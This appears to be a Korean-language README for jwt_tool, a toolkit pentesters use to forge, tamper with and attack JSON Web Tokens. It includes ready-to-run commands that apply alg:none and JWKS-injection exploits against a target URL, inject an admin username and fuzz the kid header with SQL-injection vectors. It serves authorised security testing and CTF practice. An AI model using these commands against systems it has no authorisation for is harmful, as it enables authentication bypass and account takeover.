
🐍 JSON Web Tokens를 테스트, 조정 및 크래킹하기 위한 툴킷
jwt_tool.py는 JWT(JSON Web Token)를 검증, 위조, 스캔 및 변조하기 위한 툴킷입니다.

기능은 다음과 같습니다:
이 도구는 사용 중인 토큰의 강도와 알려진 공격에 대한 취약성을 확인해야 하는 모의 침투 테스터를 위해 작성되었습니다. 일부 JWT 라이브러리에 존재하는 잠재적 취약점을 더 깊이 조사하는 데 도움이 되도록 다양한 변조, 서명 및 검증 옵션이 제공됩니다.
또한 현재 CTF에서 JWT를 적극적으로 활용하는 것 같아 CTF 참가자에게도 유용하게 사용됩니다.
프로젝트에서 JWT를 사용하지만 위조된 토큰 사용 시 안정성과 알려진 취약점을 테스트하려는 개발자에게도 유용할 수 있습니다.
이 도구는 공통 라이브러리를 사용하여 기본적으로 Python 3(버전 3.6+)으로 작성되었지만, 다양한 암호화 기능(및 전반적인 가독성/미관)을 위해서는 몇 가지 공통 Python 라이브러리 설치가 필요합니다.
(필요한 경우 이 도구의 이전 Python 2.x 버전을 레거시 브랜치에서 사용할 수 있지만, 더 이상 지원되거나 업데이트되지 않습니다)
jwt_tool의 권장 사용 방법은 Dockerhub에서 공식 호스팅하는 jwt_tool 도커 이미지입니다.
실행을 위한 기본 명령은 다음과 같습니다:
jwt_tool 실행 기본 명령:
docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
위 명령을 사용하면 다른 인수를 평소처럼 추가할 수 있습니다.
현재 작업 디렉터리의 로컬 파일이 도커 컨테이너의 /tmp 디렉터리로 매핑되므로 인수에서 해당 절대 경로를 사용하여 파일을 참조할 수 있습니다.
예:
/tmp/localfile.txt
설치는 jwt_tool.py 파일을 다운로드하거나(git clone으로 저장소를 복제)하면 됩니다.
($PATH에 추가하고 어디서든 호출하려면 파일에 chmod를 실행하십시오.)
$ git clone https://github.com/ticarpi/jwt_tool
$ python3 -m pip install -r requirements.txt
첫 실행 시 도구는 구성 파일, 일부 유틸리티 파일, 로그 파일 및 다양한 형식의 공개 키와 개인 키 세트를 생성합니다.
jwtconf.ini에 "jwkloc" 값으로 저장해야 합니다.Windows cmd/Powershell에서 깨진 색상을 수정하려면 jwt_tool.py에서 아래 두 줄의 주석을 해제하십시오(각 줄 시작 부분의 "# " 제거).
또한 colorama를 설치해야 합니다: python3 -m pip install colorama
# import colorama
# colorama.init()
첫 번째 인수는 JWT 자체여야 합니다(헤더나 쿠키 값으로 제공하지 않는 경우). 추가 인수 없이 실행하면 검토를 위해 디코딩된 토큰 값이 표시됩니다.
$ python3 jwt_tool.py <JWT>
또는 Docker 기본 명령:
$ docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool
툴킷은 토큰을 검증하고 헤더 및 페이로드 값을 나열합니다.
다양한 추가 인수를 사용하면 해당 기능으로 바로 이동하여 테스트에 사용할 수 있는 토큰을 반환받을 수 있습니다.
예를 들어 기존 토큰을 변조하려면 다음을 실행하십시오:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -T
많은 옵션은 옵션을 설정하기 위해 추가 값이 필요합니다.
예를 들어 특정 유형의 익스플로잇을 실행하려면 eXploit(-X) 옵션을 선택하고 취약점을 선택해야 합니다(여기서는 alg:none 익스플로잇에 "a" 사용):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a
토큰 검증과 같은 일부 옵션은 추가 매개변수/파일을 제공해야 합니다(여기서는 PEM 형식의 공개 키 제공):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -V -pk public.pem
이제 모든 모드에서 토큰을 애플리케이션으로 직접 보낼 수 있습니다.
다음을 지정해야 합니다:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M er요청에 대한 다양한 응답이 표시됩니다:
다음은 JWT 구현에 대한 기본 평가를 빠르게 살펴보는 과정입니다. 이러한 옵션으로 성공하지 못한 경우 다른 모드와 옵션을 더 깊이 파고들어 새로운 취약점(또는 제로데이!)을 찾아보십시오.
애플리케이션에서 기대하는 클레임/값을 파악하기 위해 토큰 값을 읽습니다:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
일반적인 잘못된 구성을 찾기 위해 제공된 토큰을 애플리케이션에 직접 사용하여 Playbook Scan을 실행합니다:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb
성공적인 취약점이 발견되면 관련 클레임을 변경하여 이를 악용해 보십시오(여기서는 Inject JWKS 익스플로잇을 사용하고 새 사용자 이름을 주입):
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
예상치 못한 앱 동작을 식별하기 위해 예상치 못한 값과 클레임을 테스트하거나, 프로그래밍 로직 또는 토큰 처리에 대한 공격을 실행하여 더 깊이 조사합니다:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt
로그를 조회하여 요청 및 :에 대한 추가 데이터를 읽음으로써 성공적인 익스플로잇을 검토하십시오:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin
옵션 목록을 보려면 사용법 함수를 호출하십시오:
토큰 검증과 같은 일부 옵션은 추가 매개변수/파일을 제공해야 합니다:
$ python3 jwt_tool.py -h
더 자세한 사용자 가이드는 위키 페이지에서 확인할 수 있습니다.

JWT가 무엇인지, 어떤 역할을 하는지, 그리고 취약점, 일반적인 약점 및 의도하지 않은 코딩 오류를 철저히 테스트하는 전체 워크플로에 대한 자세한 설명은 JWT Attack Playbook을 참조하십시오.
Burp Search에서 JWT를 찾기 위한 정규식
('Case sensitive' 및 'Regex' 옵션이 선택되어 있는지 확인하십시오)
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* - url-safe JWT 버전
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* - 모든 JWT 버전(오탐 가능성 더 높음)
JWT Attack Playbook (https://github.com/ticarpi/jwt_tool/wiki) - 철저한 JWT 테스트 방법론을 위한 자료
이 도구의 초기 영감의 상당 부분은 Tim McLean이 발견한 취약점에서 비롯되었습니다.
JWT 약점에 대한 그의 블로그를 여기에서 확인하십시오: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/
Pentesterlab (https://www.pentesterlab.com)에서 JWT 취약점 테스트를 위한 다양한 연습 문제를 제공합니다. 웹 애플리케이션 모의 침투 테스트에 관심이 있다면 PRO 구독을 적극 추천합니다.
참고 사항: 이 툴킷은 올바르게 사용하면 대부분의 Pentesterlab JWT 연습 문제를 몇 초 안에 해결할 수 있습니다. 그러나 구조와 약점을 직접 파악하면서 이 연습 문제를 직접 풀어볼 것을 강력히 권장합니다. 결국 중요한 것은 배우는 것이니까요...